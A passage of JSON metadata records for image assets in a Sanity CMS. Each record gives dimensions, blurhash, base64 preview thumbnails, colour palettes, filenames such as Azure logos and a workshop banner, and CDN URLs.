ath":"images/sczeoy4w/production/2b3af31a096e6bc5e3d703b8b44b386ef022dab6-1816x1016.png","sha1hash":"2b3af31a096e6bc5e3d703b8b44b386ef022dab6","size":284295,"uploadId":"EK5jcCk5hnTHUqelSozCOu214svLMcb6","url":"https://cdn.sanity.io/images/sczeoy4w/production/2b3af31a096e6bc5e3d703b8b44b386ef022dab6-1816x1016.png"} {"_createdAt":"2024-06-10T15:22:57Z","_id":"image-2b57d1ecd7a48891c5e6546ca03b26b2c99d8df1-2314x914-png","_rev":"rE19qWqXtwbnyVyXl5Ph5w","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T15:22:57Z","assetId":"2b57d1ecd7a48891c5e6546ca03b26b2c99d8df1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D15E?Q?dS6x]-.%Mx--:%N%h","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.5317286652078774,"height":914,"width":2314},"exif":{"PixelXDimension":2314,"PixelYDimension":914,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAABYlAAAWJQFJUiTwAAABkUlEQVQokWWSW27bMBBFtYjGjWVJlEhKpCiJellxHMSJHQQpChTd/25OQRpFP/pxQALEvTN3hokdjphuoW5npPEI5RDKIpRhn1c87HO+PQay/9jtBaUccf0z2g48ZiXJ9esX43pGW09eNexzhZCO2i7IeqSQLpJXNlJULVlpyYQhLRqKyiGbIWp3aUHy8eM3fj0jzUBWNqSFRpuFef1g3T6Z11tkWq7M651hvGC7M1IvFLJDqJaD0DzsC5J+fsH2GzpEbjyl7tFmZloubKdP1u3GuLzhp1fG+YKfX3H9mdocKdWIUEPUHER9N7TDC62/E+663ajqHuMmhumE80e0CaIw2zbOt6hsTBMQ6h65kIbvB0HSTe904xvddGVYftKNXzTuSDcuTOsJvzzh/ELTDigTxH8J5iYWUKan1G1cYlLVEwHZrDTuncbdMG6LRvPxGT9vdH7B9hON89TtEM3rNphYCtlQ1m1cSuww5A7sUsEurXjMVKxquhHThWJhwzVZqf8hFAehSPOKtJDxPZzhK/0BuLfptpTkDGcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#272a3f","foreground":"#fff","population":7.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c1664","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#272a3f","foreground":"#fff","population":7.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbd5e2","foreground":"#000","population":0.07,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b9bdeb","foreground":"#000","population":0.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c548c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4434b4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"mastodon.png","path":"images/sczeoy4w/production/2b57d1ecd7a48891c5e6546ca03b26b2c99d8df1-2314x914.png","sha1hash":"2b57d1ecd7a48891c5e6546ca03b26b2c99d8df1","size":710525,"uploadId":"eqdTnEQix77BfYsKWFdJbE9DY4GHxwxk","url":"https://cdn.sanity.io/images/sczeoy4w/production/2b57d1ecd7a48891c5e6546ca03b26b2c99d8df1-2314x914.png"} {"_createdAt":"2022-06-30T11:56:59Z","_id":"image-2b5efa4e5de8eef4ae59c84284d682c17c2689bd-750x369-png","_rev":"cEPH2uRN58AU2lp9QO7fRJ","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:07Z","assetId":"2b5efa4e5de8eef4ae59c84284d682c17c2689bd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M04eZu-;xaWBj[xtM{t6oMoft6R*t6fRfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.032520325203252,"height":369,"width":750},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABJUlEQVQokU2RW45DMQhDs5IbwBjyaLv/5Y1IqmokfkJizHFa0MORQTeDKmHhRgdMTdXNCBCAqomEY4d/BleApi2DSWYw3N0s3G+HbjCFmZ+yI6Zjz/y81p4ZQEv6zJiZ4Y7jU+Igy1txzB21lIm42chca45MmLXgsQrS67XDqkN34M6iGQ+RqVz9uVIVaeE+IkZBO7QukhwRB/sL/GVW+beIqPQSz6i1s5hxjvxR1NMjKFuV6gC1lar23lbme87XnDMynCvzs9d775VZ2FKoF1jl6itFE5He28xcY1QEJOErx3uv11ojAmraRXtppHd5Hu39ztLe+/O0ZH0SgfpnswImTwAV0q/K9shumUqtXWlFnBFw+6Y14iR2mYEaVKNrYaACu50/jxFT6o/lhPMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c3c2c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c2c1c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8f8c8d","foreground":"#fff","population":0.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8f8c8d","foreground":"#fff","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4bca4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#847c84","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ad7f51","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2b5efa4e5de8eef4ae59c84284d682c17c2689bd-750x369.png","path":"images/sczeoy4w/production/2b5efa4e5de8eef4ae59c84284d682c17c2689bd-750x369.png","sha1hash":"2b5efa4e5de8eef4ae59c84284d682c17c2689bd","size":37430,"uploadId":"sEoUs3koWk3sGhSz5k569i46LluI0dQC","url":"https://cdn.sanity.io/images/sczeoy4w/production/2b5efa4e5de8eef4ae59c84284d682c17c2689bd-750x369.png"} {"_createdAt":"2024-01-29T11:06:22Z","_id":"image-2b6230763f74229a8974beba90a6cc3217444b53-1200x628-png","_rev":"lhvtNBOlLYH5KiQFQ88g2F","_type":"sanity.imageAsset","_updatedAt":"2024-01-29T11:06:22Z","assetId":"2b6230763f74229a8974beba90a6cc3217444b53","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6A,Cr1W|,ao0J?8o*Fa+YAy4TIstT$aTN","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACrElEQVQokVXPTVNSCwCAYX5BC1QCEQUE/AAF4UAJmmQoHo7AOUdA8JKlqUUGfqQJWEZYoU1alpta1IzLmrp32jRt7uK2quYu79yf8zZOq/7AO++j0eqn6LDn6fVcp89fpE9YwSWs0+1Zx9yzSpt9Db11Hb11A4Otiq2nTP5Cng8zHr7MWrgrerhyKUxiZAa3UEejM2Xp9xcIR8uMituELlUYvLjNUOQ+w5FdfKEaVlcZo/0OrfYqXb1bLISz/PlHP59mTOxP+Xg8r3IzdRV/YAuNrj2Hd7BINH4PMVkjIt1nTKojynvEUwdMyAeEIg3c5+tYnDt09lRRR0oczuR5mh6nqo7xtJDjViqP31dE02LK4Tl3izFpm2h8h/H4A2LKYyR1n0T6ACX7AiV7zIT8AmF4H6ewx3jsNWvLH1lbfMW8vERBSZAeVfAPlE7JOQLDqyRSdSbVOjF5F0ltEFP2SKQPSWaOkKaOmJCPCIvPCUaOiec+Uar+z3r5G1eyddLjMmIog89b+XUohFaQlBox5QFi8pT7iIlkA1F+wkj0lFujV6jhFHbxBA+RMn9xc+s/Nis/KF/epSKKzI1kCPhqaLSGDNbuOdz+ZXzBVfxDmwhDW3iDFTznt+keqNDm2MDQuUmrrYLN3SCSfMf8yr/cuf0Pb2dL/B13cjx6kai/ikarUzGbUjgcs9hdS3R0LWGwLqI3X0dvWUZvWeGsZQ195yYGWwWL6yFD0ROmF75SvPGZk+kFvksO3oyGmQyU0TTpFGxtKr1dl7G7FmntvIbWeBWtcYFmUwFdR/G3YHt3jf7Bl4Qn3yMnTtiIFDkIT1IKzhH0PURzpkWl6ewUOuM0uvY8zW2zNBnnaDYt0tJeQGcu/RY0OnYwOx/hGHhGn/eQQW+dsG+HgLdBl/uInxsOg7EdtUoiAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e2d68","foreground":"#fff","population":1.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041679","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cd5e2b","foreground":"#fff","population":7.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#afabc9","foreground":"#000","population":1.75,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6d78d5","foreground":"#fff","population":7.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#515c8c","foreground":"#fff","population":0.35,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cd5e2b","foreground":"#fff","population":7.88,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Workshop-MediaRecommender-Olena 1200x628.png","path":"images/sczeoy4w/production/2b6230763f74229a8974beba90a6cc3217444b53-1200x628.png","sha1hash":"2b6230763f74229a8974beba90a6cc3217444b53","size":303561,"uploadId":"2W3zWdQ4l0KoFubfcGnAOL1JlKkFhFKY","url":"https://cdn.sanity.io/images/sczeoy4w/production/2b6230763f74229a8974beba90a6cc3217444b53-1200x628.png"} {"_createdAt":"2024-04-03T11:43:04Z","_id":"image-2b810ed3f38c6ef8542c78e1331bc3bc11c3fd9e-450x163-png","_rev":"9k1srJVIAf7BJJgtqkfuYe","_type":"sanity.imageAsset","_updatedAt":"2024-04-03T11:43:04Z","assetId":"2b810ed3f38c6ef8542c78e1331bc3bc11c3fd9e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D9B3pN~AQ:W09kR4w@$yrXwf","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.7607361963190185,"height":163,"width":450},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAACE3AAAhNwEzWJ96AAABeklEQVQYlTXPzU/iQADG4R7WNQimH9OZfs0wTDtpLashgFlKwYFWgQptmoB72cOuRo0e9WjizcRkL+sme/K/Ndb43H/J+0qcu9iAFGrUUm2sIkvVdU3XdQghqkAIAQCapqmfFEUxDKPdbkvEto5s5SZQfovdk7Pt/ck2Ybrv+0EQcM5932eMGYahKEqj0ajX6zsVWZYZYxI20Yab/xPv5dq6f/56evnloE8mYpKmSVQZDAa9Xi8MQ8/zWIUQAiEkhEiWZfUO45/nFw+Ps5d/6u3tVjz08rzYbNZZli0Wi+Vymef5fD5PkkQIMRwOu91usyIhG8ti7dz9/fF09frHfDjfOvrOsuy0LMvVapXneVEUZVkWRTGbzaIo4pwjhAAA77FNmo39eHfxq78+vtjAcrzzzbf7/cPRaBTH8Xg8FkKkaTqdTqMoCsMQAFCr1WRZdl1XCvb27GYLEYZp022ZLYIc2yQEfwyjlDLGPt5SSjHGpmkihBzH6XQ6bzj7SG4ZQgVOAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5d6237","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c8404","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bababa","foreground":"#000","population":1.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bababa","foreground":"#000","population":1.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d6b443","foreground":"#000","population":0.27,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a44c4c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fccc04","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-microsoft-azure-marketplace.png","path":"images/sczeoy4w/production/2b810ed3f38c6ef8542c78e1331bc3bc11c3fd9e-450x163.png","sha1hash":"2b810ed3f38c6ef8542c78e1331bc3bc11c3fd9e","size":7297,"uploadId":"UTUCOatHglpro5rlQJDcCDEmDDIEBAjb","url":"https://cdn.sanity.io/images/sczeoy4w/production/2b810ed3f38c6ef8542c78e1331bc3bc11c3fd9e-450x163.png"} {"_createdAt":"2023-03-31T12:30:45Z","_id":"image-2bc7bffe7fa1e602a4816f26833d9406998d2f3e-2298x920-png","_rev":"IfootSjA4c56MZIbwSoVwq","_type":"sanity.imageAsset","_updatedAt":"2023-03-31T12:30:45Z","assetId":"2bc7bffe7fa1e602a4816f26833d9406998d2f3e","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.497826086956522,"height":920,"width":2298},"exif":{"PixelXDimension":2298,"PixelYDimension":920,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAABYlAAAWJQFJUiTwAAAA40lEQVQokY2Q626DMAyF8/6Ptr99gLXVQF2B3hgJtpOcyqEuUG3qkD5hG3PsY9d9bHHYbFHtKnzVNapDje5ygiePwAGBAlgYKSXknN/irp8Nuv0RzXeDpmvRnluc+wt63xduPz2GMICJkJgRmSEsEJmJMc6C5Ef4wcP7gDCOGEkhEFN5a05EEGYkYkTilZgUwXl7F1OCxFimrGylB0tLv9Xyi+X/3OUJ/n6yCepWtpnFS6y+dGC5WbVcnTpmgVIKMlmf4qmmzRprj363n/WurHdd5IrTYjn6o/kdupEJ6KD1AMEdqvt1L2JIUncAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#505250","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9c216e","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#debbc9","foreground":"#000","population":0.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#debbc9","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f186c6","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c8c5c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4247c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"number_of_partitions.png","path":"images/sczeoy4w/production/2bc7bffe7fa1e602a4816f26833d9406998d2f3e-2298x920.png","sha1hash":"2bc7bffe7fa1e602a4816f26833d9406998d2f3e","size":143383,"uploadId":"wPw6yBlmLv4eYc2SKrf0J2OIoJE96jXK","url":"https://cdn.sanity.io/images/sczeoy4w/production/2bc7bffe7fa1e602a4816f26833d9406998d2f3e-2298x920.png"} {"_createdAt":"2022-08-29T14:15:42Z","_id":"image-2bcbedb2b1fabf69a1980f4834a8e322be7fd49c-67x19-svg","_rev":"BBSsdcKfQe4E5jW8Uy2hDd","_type":"sanity.imageAsset","_updatedAt":"2022-08-29T14:16:23Z","altText":"Microsoft Azure logo","assetId":"2bcbedb2b1fabf69a1980f4834a8e322be7fd49c","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D3A16L~qD%.8oM_NDi-;Int7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.526315789473684,"height":19,"width":67},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABHElEQVQYlV2QTSuEUQCFXz8AWUq2PhcWJJGSyGexkETPy5zr3CYJGRvlj9mpKQsLzEYzC1lMyVb+gC53Shanc+vee74KgpvIj8i3yPcE3yFXkaeQt5APkA+RF5FHkccy0nkEeQh5Pv85LZA/kd+Rn5BfCX4h+Ap5GnkP+Qz5AvkoG2wj7yDvI5PfVJAvkWtFqdhGsYViHcXnUvGB4FPkYeRZ5E3kNeQV5AXkucyryBt/7paQlzuCzY4gv4InyIPIE8gz/+olo/HM/ch9yL3I3cg9SfALxQ8UGyi+EdwiuJZ3SulSrVQzIVXezXXXkQdUKdNsRSkXh8FFQXAbuYVcR24QnBKm3SbzVufI1xk3mZOhU8qyctx1EKo/ognfDyy5OCNx4kQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4244","foreground":"#fff","population":2.59,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0c","foreground":"#fff","population":2.75,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5e6365","foreground":"#fff","population":21.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#267272","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9bdddd","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e6365","foreground":"#fff","population":21.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fbfbf","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"qcIblBlYNB041RLlsLPbAj","_type":"reference","_weak":true}]}},"originalFilename":"logo-microsoft-azure-dark.svg","path":"images/sczeoy4w/production/2bcbedb2b1fabf69a1980f4834a8e322be7fd49c-67x19.svg","sha1hash":"2bcbedb2b1fabf69a1980f4834a8e322be7fd49c","size":4642,"title":null,"uploadId":"f5Uj5muNWmbihL8cuvAZootlz3suXUQs","url":"https://cdn.sanity.io/images/sczeoy4w/production/2bcbedb2b1fabf69a1980f4834a8e322be7fd49c-67x19.svg"} {"_createdAt":"2023-05-22T08:06:38Z","_id":"image-2bddeb7881aa8f502e11d69558073fe57e74e463-1440x900-png","_rev":"4JMA3H9bBgAwAcyypTkK8N","_type":"sanity.imageAsset","_updatedAt":"2023-05-22T08:06:38Z","assetId":"2bddeb7881aa8f502e11d69558073fe57e74e463","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V4Ss53?bfQ?bfQ~qj[fQj[fQfQfQfQfQfQ~qj[fQj[fQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6,"height":900,"width":1440},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAHklEQVQ4jWP48fP3f2pihlED/4+G4f/RZPN/6OcUAH3u+tpv8DKNAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#207878","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c6868","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f4fcfc","foreground":"#000","population":99.84,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#207878","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4fcfc","foreground":"#000","population":99.84,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#207878","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#36c8c8","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"background-grey.png","path":"images/sczeoy4w/production/2bddeb7881aa8f502e11d69558073fe57e74e463-1440x900.png","sha1hash":"2bddeb7881aa8f502e11d69558073fe57e74e463","size":7113,"uploadId":"gj8y0xAxKrNnhgLKJRgvg0erKrdQDhkJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/2bddeb7881aa8f502e11d69558073fe57e74e463-1440x900.png"} {"_createdAt":"2022-06-14T14:41:09Z","_id":"image-2be71af134f57f5ff1fe534e3408b167db838037-512x512-png","_rev":"oamrAPLmQLQjd9jh7YpzNm","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:09Z","assetId":"2be71af134f57f5ff1fe534e3408b167db838037","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e9E{900J1I%dnM00~qR-Ir?bG0R6+uRk9Z9F9Z?Hs8E2RkWrM_jFso","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAFYElEQVQ4jS2R+VPTBx6GvzN1qo7KJYcc4RAJJiBoBVQgIAEUAU1AzkggJIGEAAmnIRBQEBE1gFWRIKCoDRS5rCcE0Ko7dafd2Y7rzv47zw5pf/jM+9sz7/N5hVC/XUQF7SNW5Ic0yp+YMB/C9u/Gf+/37Nu1g93ff8eend/htXsHgd67iBX5kiwJ4VRcKCckwfwQE0B8pA+ScC8SDu5HCPHZSbj/Hg6FeHM4Yj/iMF+iAvdyKMiLQwe8iQjyRhTg5bmIwH1EB3tzNDqQE5IQUg4f4Fi0P9IIb+IifDh6KAAhcN8OQn13elqKRX5Iwv1Jk4ooyziCSp5IXnIMSbEhSCMDPBbRwV5IRD4kiYNIFgeREOWLNNybI1F+HNsGRob6Eua/B9H+3cSEepMcG4zmbBK3G5SMNV+ks0JOsSyek9IwjkQFIBH5Eh/h54EliQM9zaQRPh7dxIP+CKUVSmTpScRGBnmAsvgwWkszmLaqeWrXMtJUymVVLrqCkyjSJZxODCctPhRZgojk2CDi/tbdbhgf6Ytwb2Yc25XLFBWdJTnhIOlxYdSePc6QrhBnm4ofm8twNJbyoLOKUXMJDcpUCk7EkH08khTJAc8g26BtqDh0L8L0/H1GHvTTZqunpFhOdooY5anDmBXpOFtULPQZWOw3sXGnE/fddsYsJVRmJyI/9hcwwfNDLw/sYPBehJ5hI219akwdZegMFyhXnOJS7jGsZdk869Kx5ehka6STj/e6+DRhZdauQV94ksyjkRwXB3kGiQnZQ1x0AKnJUgSNpQB14xku1edQa8xDq8misUzGYE0+D82VPO+uY6nXwMqAkbVRM3MDeppKs8hOEpMiDSMxOpDkhEguFKRhNJYjVNRnUWnMpkIvR6XLolqTgaEinc7SDHouZjKmVTBn1fFi0MS7UTOLwyb66pSUyI+TdzIOpTyFBm0RXVYttu46hCpTJiqjnApdNiqtHLUuC82ldOqUKZgLUhipOc/rgSY+j3fxdqwV13UT491aOtT51BRm0qarYHSgA0e/hd72WoT6DjmVhkxKqk+j0mSjM5xFr89BW5GGqTiVa9V5uHq0rN5sZqpXy0SPloXbrTwebGaww8jN/h4mRoe5M2BjuN2I0GjPQdWQQVGVjKrqDKwNZxhoKaS1Lpeai2nUnk+lpUyOtfocvXUKnHY9a047649v4Hp4l5npGaanprh/Z5SR61cR9F1ZVDZmUqLNpF53Goc5D2f7RWz6C5SdzyQ/4wcUskT0ChlDzeUsOtr58HiQDdddVuZ/wuVa4NmzeX5yzeNyzSHoOnOotuRSZThDY2MBgx0qrlm0GNTlFBWeQ5Ero+pcKnadgqeDTaxPXmHr6W3e/PyI1aVlnj9fZnFxiVev3rC5uYXQ0JJPk6UAQ00uzXUl9PV00mfvw9zUQm2NhtrKUixqBcNmFXM3W1h/dIPNpcdsvH2N273J69dvWF1dZWV5hZe/vEJQF6dSX56BUXmaNm0NNwaHGR0d58aQg77eAey2bq7bWnlwpYmFsW7cC1N8+fief/3xb3777Z+41zdYWVnlyexTJienEPKTolHKjqBR5nG52cLNIQcPxqeZnJxl0vmImelZnjx0Mj8+zKvZe3zeXOM/X7/x9es3Pn38zNqamxcvXjIzM4vDMYagz0tCV5xLs6Eem9XO4MAwE+PTLPy8yvLSS5aXfsE5PsG1ni6m7v3IPz595r/f/seXL7/jdm95tN++XWf2iYtbt8YQ7l9Wc8tq4mp3L922K/RfHcI5McO7NxtsbvzK/NxzWi3t5GTl0Ggy8+6dmz///MqH9x/Z2HjPhw+fPLm99q3bd/g/mv1WqA+YPl8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#513a29","foreground":"#fff","population":3.55,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#586d2a","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c59b7f","foreground":"#000","population":6.89,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c59b7f","foreground":"#000","population":6.89,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eaa67f","foreground":"#000","population":0.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a28068","foreground":"#fff","population":6.66,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4783b","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"david.png","path":"images/sczeoy4w/production/2be71af134f57f5ff1fe534e3408b167db838037-512x512.png","sha1hash":"2be71af134f57f5ff1fe534e3408b167db838037","size":403740,"uploadId":"6P8OaMTvLhrkdHibLwEVW0IPyRmavmAE","url":"https://cdn.sanity.io/images/sczeoy4w/production/2be71af134f57f5ff1fe534e3408b167db838037-512x512.png"} {"_createdAt":"2022-06-15T20:02:05Z","_id":"image-2be8db3d6708a5cf49b938420ff8c286af3460c7-1567x844-jpg","_rev":"CK1sLU2mnwa3vmbYWEcfJp","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:23:48Z","assetId":"2be8db3d6708a5cf49b938420ff8c286af3460c7","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MUP~+_.jo[H]%ygJM{Rjxae=%KizRkSvwh","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAYCBwj/xAAkEAACAgIBBAEFAAAAAAAAAAABAgMEAAUhBhESQRMUFTFRof/EABYBAQEBAAAAAAAAAAAAAAAAAAQCA//EABsRAQEAAgMBAAAAAAAAAAAAAAECAAQDESES/9oADAMBAAIRAxEAPwDQP0tyO+0xtkxluEPoYk9WbmCLZvX2LtNMzH44PMqiIPZP7yyERTJJ3HfnE/rDR63YWWNyokpAUgkkH+HHarE13Z5i9cOO/qvTJ9JXfuOnWxqtpIKpYgLIvkUI/K9/Ywxi0utp0NbBXp10hhVeEUcDDMrRp6yaRVz/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#363147","foreground":"#fff","population":1.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b37a6","foreground":"#fff","population":1.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f312e3","foreground":"#fff","population":1.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#babecd","foreground":"#000","population":0.6,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c9cf4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686f7c","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f312e3","foreground":"#fff","population":1.34,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"2be8db3d6708a5cf49b938420ff8c286af3460c7-1567x844.jpg","path":"images/sczeoy4w/production/2be8db3d6708a5cf49b938420ff8c286af3460c7-1567x844.jpg","sha1hash":"2be8db3d6708a5cf49b938420ff8c286af3460c7","size":96256,"uploadId":"iePcsIYc0nyoQpgOTtmyO7z33KCq1fXZ","url":"https://cdn